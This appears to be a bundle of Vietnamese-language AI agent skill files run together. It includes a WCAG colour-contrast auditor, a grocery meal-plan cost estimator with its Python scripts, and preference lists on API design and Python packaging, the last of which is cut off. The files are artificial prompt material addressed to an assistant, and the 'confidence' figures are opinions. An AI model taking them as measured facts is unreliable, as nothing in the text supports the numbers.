p.add_argument("--routes", help="File with METHOD /path lines")
p.add_argument("--route", action="append", default=[], help="Single METHOD /path (repeatable)")
p.add_argument("--json", action="store_true", help="Print findings as JSON")
p.add_argument("--self-test", action="store_true")
a = p.parse_args(argv)
if a.self_test:
return self_test()
if not a.spec:
p.error("--spec is required (or use --self-test)")
route_lines: List[str] = list(a.route)
if a.routes:
route_lines.extend(open(a.routes, encoding="utf-8").read().splitlines())
if not route_lines:
p.error("provide --routes and/or --route")
spec = load_spec(a.spec)
code = parse_routes(route_lines)
findings = compare(spec, code)
if a.json:
print(json.dumps(findings, indent=2))
else:
print(format_report(findings))
return 0 if not findings else 2
if __name__ == "__main__":
sys.exit(main())Kiểm toán các cặp màu tiền cảnh/hậu cảnh theo độ tương phản WCAG 2.x (mức AA và AAA cho văn bản thường và văn bản lớn), báo cáo tỷ lệ và kết quả đạt/không đạt, đồng thời lưu ý các rủi ro đối với người mù màu. Sử dụng khi kiểm tra bảng màu giao diện người dùng (UI palette), design token, hoặc hỏi "màu xám trên nền trắng này có dễ đọc không?". Bao gồm công cụ kiểm tra độ tương phản bằng thư viện chuẩn Python có hỗ trợ --self-test.
---
name: accessibility-color-contrast-auditor
description: Kiểm toán các cặp màu tiền cảnh/hậu cảnh theo độ tương phản WCAG 2.x (mức AA và AAA cho văn bản thường và văn bản lớn), báo cáo tỷ lệ và kết quả đạt/không đạt, đồng thời lưu ý các rủi ro đối với người mù màu. Sử dụng khi kiểm tra bảng màu giao diện người dùng (UI palette), design token, hoặc hỏi "màu xám trên nền trắng này có dễ đọc không?". Bao gồm công cụ kiểm tra độ tương phản bằng thư viện chuẩn Python có hỗ trợ --self-test.
---
# Công cụ Kiểm toán Độ tương phản Màu sắc cho Khả năng Tiếp cận
Bạn giúp các nhà thiết kế và kỹ sư frontend kiểm tra xem màu sắc của văn bản và giao diện người dùng (UI) có đáp ứng tỷ lệ tương phản WCAG 2.x hay không. Bạn tính toán độ tương phản độ chói tương đối (relative luminance contrast) cho các cặp màu tiền cảnh/hậu cảnh, đối chiếu kết quả với tiêu chuẩn AA/AAA cho văn bản thường và văn bản lớn, đồng thời gắn cờ cảnh báo các cặp màu chỉ dựa vào sắc độ (hue) để truyền tải ý nghĩa.
## Các tệp trong kỹ năng này
- `scripts/contrast_check.py` - tính toán tỷ lệ tương phản cho các cặp mã màu hex và in ra bảng kết quả đạt/không đạt (chỉ dùng thư viện chuẩn Python 3)
- `references/wcag-contrast.md` - các ngưỡng tiêu chuẩn và quy định thế nào được tính là văn bản lớn
- `references/color-blindness-notes.md` - lý do tại sao các màu trạng thái chỉ phân biệt bằng sắc độ lại gây lỗi với người dùng thực tế
- `templates/audit-table.md` - bảng markdown phục vụ đánh giá thiết kế
- `examples/palette.json` - các cặp token mẫu
## Quy trình làm việc
### 1. Thu thập các cặp màu
Yêu cầu cung cấp các mã màu hex (`#RGB`, `#RRGGBB`, hoặc `#RRGGBBAA` với kênh alpha được bỏ qua trên nền đục). Ghi chú rõ màu nào là văn bản/biểu tượng (fg) và màu nào là bề mặt nền (bg).
### 2. Chạy công cụ kiểm tra
```
python3 scripts/contrast_check.py --fg '#1a1a1a' --bg '#ffffff'
python3 scripts/contrast_check.py --palette examples/palette.json
python3 scripts/contrast_check.py --self-test
```
### 3. Diễn giải kết quả
- Văn bản thường mức AA cần **4.5:1**; mức AAA cần **7:1**.
- Văn bản lớn (18pt+ hoặc 14pt+ in đậm) mức AA cần **3:1**; mức AAA cần **4.5:1**.
- Các thành phần giao diện người dùng phi văn bản / đối tượng đồ họa mang ý nghĩa cần đạt **3:1** so với các màu liền kề (WCAG 2.1 SC 1.4.11).
### 4. Trả lời
Đối với mỗi cặp màu: nêu tỷ lệ (làm tròn một chữ số thập phân), kết quả AA/AAA cho văn bản thường, AA/AAA cho văn bản lớn, và gợi ý khắc phục ngắn gọn (làm tối màu fg, làm sáng màu bg, hoặc tăng độ đậm/kích thước chữ). Nhắc đến vấn đề mù màu nếu trạng thái chỉ phụ thuộc vào sự khác biệt giữa màu đỏ và màu xanh lá.
## Quy tắc
- Sử dụng công thức độ chói tương đối của WCAG; không ước lượng cảm tính bằng mắt thường ("eyeballing").
- Bỏ qua các tuyên bố tiếp thị về "chế độ hỗ trợ tiếp cận" trừ khi có hiển thị tỷ lệ tương phản cụ thể.
- Nếu có pha trộn kênh alpha (alpha blending), hãy yêu cầu mã màu hex thực tế sau khi đã làm phẳng trên nền thật.
FILE:references/wcag-contrast.md
# Các ngưỡng tương phản WCAG (WCAG 2.1 / 2.2)
| Nội dung | AA | AAA |
| --- | --- | --- |
| Văn bản thường | 4.5:1 | 7:1 |
| Văn bản lớn | 3:1 | 4.5:1 |
| Thành phần UI & đối tượng đồ họa (1.4.11) | 3:1 | — |
## Văn bản lớn
Văn bản lớn là văn bản có kích thước tối thiểu **18 CSS pt** (thường là 24px) đối với chữ thường, hoặc **14 CSS pt** (thường là 18.66px) đối với chữ in đậm.
## Độ chói tương đối (Relative luminance)
Đối với kênh màu sRGB C_srgb trong khoảng 0..1:
- nếu C_srgb <= 0.04045: C = C_srgb / 12.92
- ngược lại: C = ((C_srgb + 0.055) / 1.055) ^ 2.4
L = 0.2126 R + 0.7152 G + 0.0722 B
Tỷ lệ tương phản = (L_lighter + 0.05) / (L_darker + 0.05)
## Ghi chú
- Văn bản giữ chỗ (placeholder) / văn bản bị vô hiệu hóa (disabled) được miễn trừ khỏi các tiêu chí thành công (SC) về độ tương phản văn bản nhưng vẫn nên đảm bảo sự rõ ràng.
- Các chỉ báo tiêu điểm (focus indicators) cần đạt tỷ lệ 3:1 so với các màu liền kề (2.4.11 / 2.4.13 tùy theo cấp độ).
FILE:references/color-blindness-notes.md
# Ghi chú về chứng mù màu đối với bảng màu
Chỉ riêng tỷ lệ tương phản là không đủ khi ý nghĩa chỉ được truyền tải thông qua sắc độ (hue).
## Các lỗi thường gặp
- **Trạng thái đỏ so với xanh lá** không kèm biểu tượng hoặc nhãn văn bản: người mắc chứng mù màu lục/đỏ (deuteranomaly/protanomaly) có thể không phân biệt được chúng.
- **Các chuỗi dữ liệu biểu đồ** chỉ phân biệt bằng màu sắc: hãy thêm họa tiết, hình dạng, hoặc nhãn trực tiếp.
- **Màu liên kết (link)** có cùng độ sáng với văn bản thân bài: đường gạch chân hoặc độ đậm của chữ phải được giữ nguyên khi loại bỏ yếu tố màu sắc.
- **Viền báo lỗi** chỉ có sắc đỏ nhạt: hãy đảm bảo tỷ lệ 3:1 so với màu nền và kèm theo văn bản/biểu tượng.
## Các mẫu thiết kế an toàn hơn
1. Kết hợp màu sắc với văn bản ("Error", "Success") hoặc biểu tượng.
2. Sử dụng sự chênh lệch về độ sáng (lightness), chứ không chỉ dịch chuyển sắc độ (hue).
3. Kiểm tra bằng ảnh chụp màn hình giao diện ở chế độ thang độ xám (grayscale).
4. Tránh chỉ dùng mỗi màu đỏ để biểu thị trạng thái trường bắt buộc nhập.
## Mẹo thân thiện với người mắc chứng mù màu lục (Deuteranopia)
Ưu tiên sử dụng các cặp màu xanh dương/cam hoặc xanh dương/nâu thay vì đỏ/xanh lá cho dữ liệu phân loại khi bạn bắt buộc phải dùng hai sắc độ.
FILE:templates/audit-table.md
# Kiểm toán độ tương phản
- **Sản phẩm / màn hình**:
- **Ngày**:
- **Tiêu chuẩn**: WCAG 2.2 AA (mặc định) / AAA ở những nơi được ghi chú
| Token / mục đích sử dụng | FG | BG | Tỷ lệ | AA thường | AAA thường | AA lớn | Ghi chú / cách sửa |
| --- | --- | --- | --- | --- | --- | --- | --- |
| văn bản thân bài | `#1a1a1a` | `#ffffff` | 16.1 | pass | pass | pass | |
| chú thích mờ | `#9ca3af` | `#ffffff` | 2.5 | fail | fail | fail | Làm tối xuống khoảng ~`#6b7280` |
## Quyết định
- [ ] Cập nhật các token
- [ ] Chấp nhận chỉ sử dụng cho văn bản lớn
- [ ] Thêm dấu hiệu nhận biết phi màu sắc
FILE:examples/palette.json
{
"pairs": [
{"name": "body_on_white", "fg": "#1a1a1a", "bg": "#ffffff"},
{"name": "muted_on_white", "fg": "#9ca3af", "bg": "#ffffff"},
{"name": "link_on_white", "fg": "#2563eb", "bg": "#ffffff"},
{"name": "button_label", "fg": "#ffffff", "bg": "#2563eb"},
{"name": "error_on_white", "fg": "#dc2626", "bg": "#ffffff"},
{"name": "white_on_light_gray", "fg": "#ffffff", "bg": "#e5e7eb"}
]
}
FILE:scripts/contrast_check.py
#!/usr/bin/env python3
"""WCAG contrast ratio checker for hex fg/bg pairs.
Usage:
python3 contrast_check.py --fg '#1a1a1a' --bg '#ffffff'
python3 contrast_check.py --palette palette.json
python3 contrast_check.py --self-test
Python 3 standard library only.
"""
from __future__ import annotations
import argparse
import json
import math
import sys
from typing import Dict, List, Tuple
def parse_hex(color: str) -> Tuple[float, float, float]:
c = color.strip().lstrip("#")
if len(c) == 3:
c = "".join(ch * 2 for ch in c)
if len(c) == 8:
c = c[:6] # ignore alpha
if len(c) != 6:
raise ValueError(f"Bad hex color: {color!r}")
r = int(c[0:2], 16) / 255.0
g = int(c[2:4], 16) / 255.0
b = int(c[4:6], 16) / 255.0
return r, g, b
def channel(c: float) -> float:
if c <= 0.04045:
return c / 12.92
return ((c + 0.055) / 1.055) ** 2.4
def relative_luminance(rgb: Tuple[float, float, float]) -> float:
r, g, b = rgb
return 0.2126 * channel(r) + 0.7152 * channel(g) + 0.0722 * channel(b)
def contrast_ratio(fg: str, bg: str) -> float:
l1 = relative_luminance(parse_hex(fg))
l2 = relative_luminance(parse_hex(bg))
lighter, darker = max(l1, l2), min(l1, l2)
return (lighter + 0.05) / (darker + 0.05)
def evaluate(ratio: float) -> Dict[str, bool]:
return {
"aa_normal": ratio >= 4.5,
"aaa_normal": ratio >= 7.0,
"aa_large": ratio >= 3.0,
"aaa_large": ratio >= 4.5,
"ui_3_1": ratio >= 3.0,
}
def format_row(name: str, fg: str, bg: str) -> str:
ratio = contrast_ratio(fg, bg)
ev = evaluate(ratio)
flags = " ".join(
f"{k}={'PASS' if v else 'FAIL'}"
for k, v in ev.items()
if k in ("aa_normal", "aaa_normal", "aa_large")
)
return f"{name}: {fg} on {bg} -> {ratio:.2f}:1 {flags}"
def self_test() -> int:
cases = [
("black_white", contrast_ratio("#000000", "#ffffff"), 21.0),
("white_black", contrast_ratio("#ffffff", "#000000"), 21.0),
("body", contrast_ratio("#1a1a1a", "#ffffff") > 12.0, True),
("muted_fail_aa", evaluate(contrast_ratio("#9ca3af", "#ffffff"))["aa_normal"], False),
("link_aa", evaluate(contrast_ratio("#2563eb", "#ffffff"))["aa_normal"], True),
("same_color", abs(contrast_ratio("#ffffff", "#ffffff") - 1.0) < 1e-9, True),
("short_hex", abs(contrast_ratio("#000", "#fff") - 21.0) < 1e-9, True),
("parse3", parse_hex("#abc") == parse_hex("#aabbcc"), True),
("ui_pass", evaluate(3.0)["ui_3_1"], True),
("aaa_border", evaluate(7.0)["aaa_normal"], True),
("just_under_aa", evaluate(4.49)["aa_normal"], False),
]
failed = 0
for name, got, expected in cases:
if isinstance(expected, float):
ok = abs(float(got) - expected) < 0.05
else:
ok = got == expected
failed += not ok
print(f"{'PASS' if ok else 'FAIL'} {name}: got={got!r} expected={expected!r}")
print(f"\n{len(cases) - failed}/{len(cases)} passed")
return 1 if failed else 0
def main(argv=None) -> int:
p = argparse.ArgumentParser(description="Check WCAG contrast for fg/bg hex pairs.")
p.add_argument("--fg")
p.add_argument("--bg")
p.add_argument("--palette", help="JSON file with {pairs:[{name,fg,bg}]}")
p.add_argument("--json", action="store_true")
p.add_argument("--self-test", action="store_true")
a = p.parse_args(argv)
if a.self_test:
return self_test()
rows = []
if a.palette:
data = json.load(open(a.palette, encoding="utf-8"))
for pair in data.get("pairs", []):
rows.append(pair)
elif a.fg and a.bg:
rows.append({"name": "pair", "fg": a.fg, "bg": a.bg})
else:
p.error("provide --fg and --bg, or --palette, or --self-test")
out = []
any_fail = False
for row in rows:
ratio = contrast_ratio(row["fg"], row["bg"])
ev = evaluate(ratio)
if not ev["aa_normal"]:
any_fail = True
item = {"name": row.get("name", "pair"), "fg": row["fg"], "bg": row["bg"], "ratio": round(ratio, 2), **ev}
out.append(item)
if not a.json:
print(format_row(item["name"], item["fg"], item["bg"]))
if a.json:
print(json.dumps(out, indent=2))
return 1 if any_fail else 0
if __name__ == "__main__":
sys.exit(main())Xây dựng kế hoạch bữa ăn hàng tuần kèm ước tính khẩu phần và danh sách đi chợ được gộp theo từng khu vực quầy hàng, sau đó ước tính tổng chi phí từ đơn giá bạn cung cấp hoặc mức giá mặc định đơn giản. Sử dụng khi lập kế hoạch bữa ăn theo ngân sách, nấu ăn theo mẻ (batch cooking), hoặc hỏi "tuần này tôi nên mua gì cho 4 người?". Bao gồm công cụ ước tính chi phí bằng thư viện chuẩn Python có hỗ trợ --self-test.
---
name: grocery-meal-plan-cost-estimator
description: Xây dựng kế hoạch bữa ăn hàng tuần kèm ước tính khẩu phần và danh sách đi chợ được gộp theo từng khu vực quầy hàng, sau đó ước tính tổng chi phí từ đơn giá bạn cung cấp hoặc mức giá mặc định đơn giản. Sử dụng khi lập kế hoạch bữa ăn theo ngân sách, nấu ăn theo mẻ (batch cooking), hoặc hỏi "tuần này tôi nên mua gì cho 4 người?". Bao gồm công cụ ước tính chi phí bằng thư viện chuẩn Python có hỗ trợ --self-test.
---
# Công cụ Ước tính Chi phí Kế hoạch Bữa ăn & Đi chợ
Bạn giúp các hộ gia đình lập kế hoạch bữa ăn cho một tuần, điều chỉnh khẩu phần theo số người, lập danh sách đi chợ được phân nhóm theo khu vực quầy hàng trong siêu thị và ước tính chi phí dựa trên đơn giá. Bạn xử lý thực tế đối với thức ăn thừa và các nguyên liệu sẵn có trong tủ bếp. Bạn không đưa ra liệu pháp ăn kiêng y khoa; bạn chỉ ghi nhận các dị ứng và sở thích mà người dùng nêu ra.
## Các tệp trong kỹ năng này
- `scripts/estimate_cost.py` - tính tổng danh sách đi chợ theo đơn giá và in ra tổng chi phí từng khu vực quầy hàng (chỉ dùng thư viện chuẩn Python 3)
- `references/portion-guide.md` - định lượng ước chừng cho mỗi người đối với các loại thực phẩm phổ biến
- `references/store-section-map.md` - vị trí thường gặp của các mặt hàng trong siêu thị
- `templates/meal-plan.md` - cấu trúc kế hoạch hàng tuần + danh sách đi chợ
- `examples/sample-week.md` - ví dụ minh họa hoàn chỉnh cho 2 người lớn
## Quy trình làm việc
### 1. Thu thập các ràng buộc
Hỏi các thông tin: số lượng người và độ tuổi, số buổi tối nấu ăn tại nhà, ngân sách và đơn vị tiền tệ, quy tắc ăn uống (ăn chay, halal, dị ứng), thiết bị/thời gian nấu nướng, và các nguyên liệu đã có sẵn trong tủ bếp.
### 2. Phác thảo thực đơn trong tuần
Đề xuất bữa sáng / bữa trưa / bữa tối / bữa phụ có tận dụng lại thức ăn thừa. Giữ sự đa dạng mà không đòi hỏi tới 21 công thức nấu ăn riêng biệt.
### 3. Quy đổi thành danh sách nguyên liệu đi chợ
Sử dụng `references/portion-guide.md`, chuyển đổi các bữa ăn thành nguyên liệu và số lượng cụ thể. Loại bỏ trùng lặp (một chai dầu ăn, chứ không phải bảy chai).
### 4. Ánh xạ vào các khu vực quầy hàng
Phân nhóm bằng `references/store-section-map.md` để danh sách thuận tiện cho việc đi lại mua sắm.
### 5. Ước tính chi phí
```
python3 scripts/estimate_cost.py --list groceries.json
python3 scripts/estimate_cost.py --self-test
```
Nếu người dùng không có bảng giá, hãy sử dụng đơn giá mặc định được gắn nhãn rõ ràng và nêu rõ đó là mức giá tạm tính.
### 6. Trả lời
Trả về: bảng kế hoạch bữa ăn, danh sách đi chợ theo khu vực quầy hàng kèm số lượng, tổng chi phí ước tính, chi phí trên mỗi người-ngày, và 2 đến 3 ý tưởng thay thế nguyên liệu nếu vượt ngân sách.
## Quy tắc
- Không bao giờ tự bịa ra rằng một món nào đó là "lành mạnh" như lời khuyên y tế; chỉ bám sát sở thích và các chỉ số dinh dưỡng đa lượng (macros) nếu được yêu cầu.
- Ưu tiên dùng gam và mililít kèm theo đơn vị đo lường gia đình.
- Đánh dấu các mặt hàng dễ hỏng nên mua bổ sung vào giữa tuần.
FILE:references/portion-guide.md
# Khẩu phần nấu chín ước chừng cho mỗi người (điều chỉnh theo sức ăn)
| Thực phẩm | Mỗi người lớn | Mỗi trẻ em (5–10 tuổi) |
| --- | --- | --- |
| Cơm / ngũ cốc đã nấu chín | 150–180 g | 80–100 g |
| Mì ống khô (pasta) | 80–100 g | 50–70 g |
| Đạm (thịt/cá sống) | 120–150 g | 70–90 g |
| Đậu/đậu lăng (khô) | 50–70 g | 30–40 g |
| Rau củ (trọng lượng tươi sống) | 150–200 g | 80–120 g |
| Trái cây | 1 quả hoặc 120 g | 1 quả nhỏ |
| Sữa / sữa hạt thay thế | 200–250 ml | 150 ml |
| Bánh mì | 2 lát | 1 lát |
| Dầu ăn để nấu nướng | ~10 ml mỗi lần xào | dùng chung |
| Trứng | 2 | 1 |
## Mẹo điều chỉnh tỷ lệ khẩu phần
- Súp/món hầm: tăng lượng nước ở mức 90% khi nhân khẩu phần từ 2 lên 4 người (do hiệu suất giữ nước của nồi).
- Gia vị: không nhân theo tỷ lệ tuyến tính khi vượt quá 4 khẩu phần; hãy nếm thử và điều chỉnh.
- Bữa trưa tận dụng đồ ăn thừa: nấu tăng thêm +40% vào bữa tối của hai ngày trong tuần thay vì nấu các công thức riêng biệt.
FILE:references/store-section-map.md
# Sơ đồ khu vực quầy hàng điển hình trong siêu thị
Sử dụng các nhóm này trong danh sách đi chợ (điều chỉnh tên gọi cho phù hợp với cửa hàng tại địa phương):
1. **Rau củ quả tươi (Produce)** — trái cây, rau củ, rau thơm, xà lách
2. **Quầy bánh (Bakery)** — bánh mì, vỏ bánh tortilla, bánh mì tròn (buns)
3. **Thịt & hải sản (Meat & seafood)** — thực phẩm giàu đạm tươi sống/bảo quản mát
4. **Sữa & trứng (Dairy & eggs)** — sữa, sữa chua, phô mai, bơ, trứng
5. **Quầy đồ nguội / chế biến sẵn (Deli / prepared)** — nếu có sử dụng
6. **Thực phẩm khô (Pantry dry)** — gạo, mì ống, các loại đậu, bột mì, đường, ngũ cốc ăn sáng
7. **Đồ hộp & đồ đóng lọ (Cans & jars)** — cà chua hộp, cá ngừ hộp, các loại sốt
8. **Dầu ăn & gia vị (Oils & spices)** — dầu nấu ăn, muối, gia vị, giấm
9. **Thực phẩm đông lạnh (Frozen)** — rau củ đông lạnh, đạm đông lạnh, kem
10. **Đồ uống (Beverages)** — cà phê, trà, nước ép, nước có ga
11. **Đồ gia dụng (Household)** — nếu mua xà phòng/túi đựng trong cùng chuyến đi chợ
Gợi ý thứ tự di chuyển: rau củ quả tươi → quầy bánh → thịt & hải sản → sữa & trứng → các dãy kệ giữa → thực phẩm đông lạnh → đồ uống.
FILE:templates/meal-plan.md
# Kế hoạch bữa ăn hàng tuần
- **Số người**:
- **Ngân sách / đơn vị tiền tệ**:
- **Ghi chú chế độ ăn**:
## Các bữa ăn
| Ngày | Bữa sáng | Bữa trưa | Bữa tối | Ghi chú |
| --- | --- | --- | --- | --- |
| Mon | | | | |
| Tue | | | | |
| Wed | | | | |
| Thu | | | | |
| Fri | | | | |
| Sat | | | | |
| Sun | | | | |
## Danh sách đi chợ theo khu vực quầy hàng
### Rau củ quả tươi (Produce)
- [ ] mặt hàng — số lượng — giá ước tính
### Sữa & trứng (Dairy & eggs)
- [ ]
## Tóm tắt chi phí
- Tổng chi phí ước tính:
- Chi phí mỗi người-ngày:
- Mua bổ sung giữa tuần:
FILE:examples/sample-week.md
# Tuần mẫu — 2 người lớn, ăn tạp linh hoạt, EUR
Mục tiêu ngân sách: €70
## Các bữa ăn (tóm tắt)
| Ngày | Điểm nhấn bữa tối | Kế hoạch bữa trưa |
| --- | --- | --- |
| Mon | Cà ri đậu gà + cơm | Cà ri còn dư |
| Tue | Mì Ý aglio e olio + salad | Bánh mì kẹp trứng |
| Wed | Gà nướng khay + rau củ | Cơm tô gà nướng còn dư |
| Thu | Súp đậu lăng + bánh mì | Súp + trái cây |
| Fri | Taco cá (cá đông lạnh) | Cơm chiên với rau củ còn dư |
| Sat | Bữa tiệc trứng cuộn rau củ | Ăn ngoài / bỏ qua |
| Sun | Nấu mẻ lớn súp đậu hầm (chili) cho bữa trưa thứ Hai | Súp đậu hầm (chili) |
## Trích đoạn danh sách đi chợ (dành cho estimate_cost.py)
Xem cấu trúc JSON đi kèm:
```json
{
"currency": "EUR",
"items": [
{"name": "rice 1kg", "section": "Pantry dry", "qty": 1, "unit_price": 2.2},
{"name": "chickpeas canned x4", "section": "Cans & jars", "qty": 4, "unit_price": 0.9},
{"name": "pasta 500g", "section": "Pantry dry", "qty": 2, "unit_price": 1.1},
{"name": "chicken thighs 1kg", "section": "Meat & seafood", "qty": 1, "unit_price": 6.5},
{"name": "mixed veg 1kg", "section": "Produce", "qty": 1, "unit_price": 3.0},
{"name": "eggs 12", "section": "Dairy & eggs", "qty": 1, "unit_price": 3.2},
{"name": "milk 1L", "section": "Dairy & eggs", "qty": 2, "unit_price": 1.1},
{"name": "frozen white fish 500g", "section": "Frozen", "qty": 1, "unit_price": 4.5}
]
}
```
FILE:scripts/estimate_cost.py
#!/usr/bin/env python3
"""Estimate grocery cost from a JSON list.
Usage:
python3 estimate_cost.py --list groceries.json
python3 estimate_cost.py --self-test
JSON shape:
{
"currency": "EUR",
"items": [{"name": "...", "section": "...", "qty": 1, "unit_price": 2.5}]
}
Python 3 standard library only.
"""
from __future__ import annotations
import argparse
import json
import sys
from collections import defaultdict
from typing import Any, Dict, List
def load_list(path: str) -> dict:
return json.load(open(path, encoding="utf-8"))
def estimate(data: dict) -> dict:
currency = data.get("currency") or "USD"
items = data.get("items") or []
by_section: Dict[str, float] = defaultdict(float)
lines = []
total = 0.0
for it in items:
name = it["name"]
section = it.get("section") or "Other"
qty = float(it.get("qty", 1))
price = float(it["unit_price"])
line_total = qty * price
total += line_total
by_section[section] += line_total
lines.append({
"name": name,
"section": section,
"qty": qty,
"unit_price": price,
"line_total": round(line_total, 2),
})
return {
"currency": currency,
"total": round(total, 2),
"by_section": {k: round(v, 2) for k, v in sorted(by_section.items())},
"lines": lines,
"item_count": len(lines),
}
def format_report(result: dict) -> str:
cur = result["currency"]
lines = [f"Estimated total: {result['total']:.2f} {cur} ({result['item_count']} lines)"]
lines.append("By section:")
for sec, amt in result["by_section"].items():
lines.append(f" - {sec}: {amt:.2f} {cur}")
return "\n".join(lines)
def self_test() -> int:
sample = {
"currency": "EUR",
"items": [
{"name": "rice", "section": "Pantry dry", "qty": 1, "unit_price": 2.2},
{"name": "eggs", "section": "Dairy & eggs", "qty": 1, "unit_price": 3.2},
{"name": "milk", "section": "Dairy & eggs", "qty": 2, "unit_price": 1.1},
],
}
r = estimate(sample)
cases = [
("total", r["total"], 7.6),
("dairy_section", r["by_section"]["Dairy & eggs"], 5.4),
("pantry", r["by_section"]["Pantry dry"], 2.2),
("count", r["item_count"], 3),
("currency", r["currency"], "EUR"),
("empty", estimate({"items": []})["total"], 0.0),
("qty_scale", estimate({"items": [{"name": "x", "section": "A", "qty": 3, "unit_price": 1.5}]})["total"], 4.5),
("default_section", estimate({"items": [{"name": "y", "qty": 1, "unit_price": 2}]})["by_section"]["Other"], 2.0),
("round", estimate({"items": [{"name": "z", "section": "A", "qty": 1, "unit_price": 1.005}]})["total"], 1.0),
]
failed = 0
for name, got, expected in cases:
if isinstance(expected, float):
ok = abs(float(got) - expected) < 1e-9
else:
ok = got == expected
failed += not ok
print(f"{'PASS' if ok else 'FAIL'} {name}: got={got!r} expected={expected!r}")
print(f"\n{len(cases) - failed}/{len(cases)} passed")
return 1 if failed else 0
def main(argv=None) -> int:
p = argparse.ArgumentParser(description="Estimate grocery list cost.")
p.add_argument("--list", help="Path to groceries JSON")
p.add_argument("--json", action="store_true")
p.add_argument("--self-test", action="store_true")
a = p.parse_args(argv)
if a.self_test:
return self_test()
if not a.list:
p.error("--list is required (or use --self-test)")
result = estimate(load_list(a.list))
if a.json:
print(json.dumps(result, indent=2))
else:
print(format_report(result))
return 0
if __name__ == "__main__":
sys.exit(main())Những ưu tiên mang tính định hướng rõ ràng để thiết kế các HTTP API rõ ràng và ổn định.
# Thiết Kế API taste - Ưu tiên các URL hướng tài nguyên sử dụng danh từ và dùng các phương thức HTTP (HTTP verbs) để biểu thị hành động, không đưa các động từ kiểu RPC vào đường dẫn. Độ tin cậy: 0.95 - Đánh số phiên bản API ngay trong đường dẫn URL (`/v1/...`) và không đưa các thay đổi gây tương thích ngược (breaking changes) vào một phiên bản chính (major version) đang tồn tại. Độ tin cậy: 0.90 - Sử dụng danh từ số nhiều cho tên các tập hợp (`/users`, `/orders`) và chỉ lồng sâu tối đa một cấp khi tài nguyên con không có ý nghĩa nếu đứng độc lập. Độ tin cậy: 0.85 - Trả về dữ liệu JSON với tên trường viết theo quy tắc camelCase nhất quán và không bao giờ trộn lẫn kiểu snake_case trong cùng một API. Độ tin cậy: 0.85 - Sử dụng các mã trạng thái HTTP tiêu chuẩn: 201 khi tạo mới thành công, 204 khi xóa thành công không kèm nội dung trả về, 404 khi không tìm thấy tài nguyên, 409 khi xảy ra xung đột. Độ tin cậy: 0.90 - Đặt các tham số phân trang, sắp xếp và lọc vào tham số truy vấn (query params); trả về siêu dữ liệu phân trang trong một cấu trúc vỏ bọc ổn định (`data`, `nextCursor`). Độ tin cậy: 0.85 - Ưu tiên phân trang dựa trên con trỏ (cursor-based pagination) hơn là dùng độ lệch (offset) đối với bất kỳ danh sách nào có thể phình to. Độ tin cậy: 0.90 - Xác thực mọi phần thân yêu cầu (request body) bằng một lược đồ (zod, OpenAPI, JSON Schema) và từ chối các trường không xác định. Độ tin cậy: 0.90 - Định hình cấu trúc phản hồi lỗi giống hệt nhau ở mọi nơi: gồm `code`, `message` và trường tùy chọn `details`. Độ tin cậy: 0.90 - Ưu tiên sử dụng khóa bất biến (idempotency keys) trên các điểm cuối POST có tạo giao dịch tiền tệ, đơn hàng hoặc gây ra hiệu ứng phụ. Độ tin cậy: 0.85 - Sử dụng ETags hoặc tiêu đề `If-Match` cho các thao tác cập nhật đồng thời trên những tài nguyên có sự tranh chấp. Độ tin cậy: 0.75 - Viết tài liệu API bằng chuẩn OpenAPI 3 và sinh mã trình khách (clients) tự động từ bản hợp đồng đó, thay vì tự viết tay các bộ SDK. Độ tin cậy: 0.85 - Không bao giờ đặt thông tin bí mật (secrets) hoặc thông tin định danh cá nhân (PII) vào URL hay chuỗi truy vấn (query strings); hãy đặt chúng trong phần tiêu đề (headers) hoặc phần thân yêu cầu (body). Độ tin cậy: 0.95 - Ưu tiên cơ chế mở rộng tường minh (`?include=`) hơn là lúc nào cũng nhúng sẵn toàn bộ các thực thể liên quan vào phản hồi. Độ tin cậy: 0.80 - Giữ cho các điểm cuối ghi dữ liệu (write endpoints) nhỏ gọn: mỗi đường dẫn chỉ thực hiện một thao tác thay đổi rõ ràng thay vì gom đủ thứ cập nhật vào một chỗ. Độ tin cậy: 0.80 - Giới hạn tần suất gọi (rate-limit) theo khóa API hoặc theo người dùng và trả về tiêu đề `Retry-After` khi chạm ngưỡng giới hạn. Độ tin cậy: 0.85 - Ưu tiên định dạng dấu thời gian chuẩn ISO-8601 theo múi giờ UTC và không bao giờ tự chế ra các định dạng chuỗi ngày tháng tùy chỉnh. Độ tin cậy: 0.95
Những ưu tiên mang tính định hướng rõ ràng cho cấu trúc bố cục gói Python hiện đại, công cụ hỗ trợ và quy trình phát hành.
# Đóng Gói Thư Viện Python taste - Sử dụng `pyproject.toml` làm nguồn chân lý duy nhất và loại bỏ `setup.py` đối với các gói thư viện mới. Độ tin cậy: 0.95 - Ưu tiên cấu trúc thư mục `src/` để các bài kiểm thử không bao giờ vô tình nhập (import) cây mã nguồn chưa được đóng gói. Độ tin cậy: 0.90 - Sử dụng công cụ uv để cài đặt, quản lý tệp khóa (lockfiles) và môi trường ảo (virtualenvs) thay vì dùng kết hợp pip và venv thủ công. Độ tin cậy: 0.85 - Đóng gói bằng hatchling (hoặc một trình phụ trợ chuẩn PEP 517 khác) và không bao giờ commit các tệp wheel đã biên dịch vào git. Độ tin cậy: 0.90 - Ghim rõ ràng phiên bản Python tối thiểu được hỗ trợ và kiểm thử phiên bản cũ nhất được hỗ trợ đó trong quy trình CI. Độ tin cậy: 0.90 - Khai báo các thư viện phụ thuộc với ngưỡng phiên bản tối thiểu (lower bounds) mà bạn thực sự cần; tránh chặn cứng ngưỡng phiên bản tối đa (upper pins) trừ khi bắt buộc. Độ tin cậy: 0.80 - Giữ các nhóm phụ thuộc tùy chọn (`[dev]`, `[docs]`) dành riêng cho các công cụ phát triển mà người dùng cuối không cần phải cài đặt. Độ tin cậy: 0.85 - Định dạng mã nguồn bằng lệnh Ruff format và kiểm tra lỗi mã nguồn (lint) bằng Ruff; loại bỏ bộ đôi Black cùng flake8 đối với các dự án mới. Độ tin cậy: 0.85 - Kiểm tra kiểu dữ liệu (type-check) bằng pyright hoặc basedpyright ở chế độ nghiêm ngặt (strict mode) đối với các API công khai. Độ tin cậy: 0.80 - Kiểm thử bằng pytest và đặt các bài kiểm thử bên ngoài thư mục `src/`, nằm trong thư mục `tests/`. Độ tin cậy: 0.90 - Sử dụng cơ chế phát hành tin cậy (trusted publishing) từ GitHub Actions lên PyPI thay vì dùng các mã API token có thời hạn dài. Độ tin cậy: 0.90 - Đánh số phiên bản tự động từ các thẻ git tag (sử dụng hatch-vcs hoặc setuptools-scm). Độ tin cậy: 0.75 - Cung cấp tệp README ngắn gọn gồm hướng dẫn cài đặt, một ví dụ tối giản và liên kết tới tài liệu chi tiết; giữ 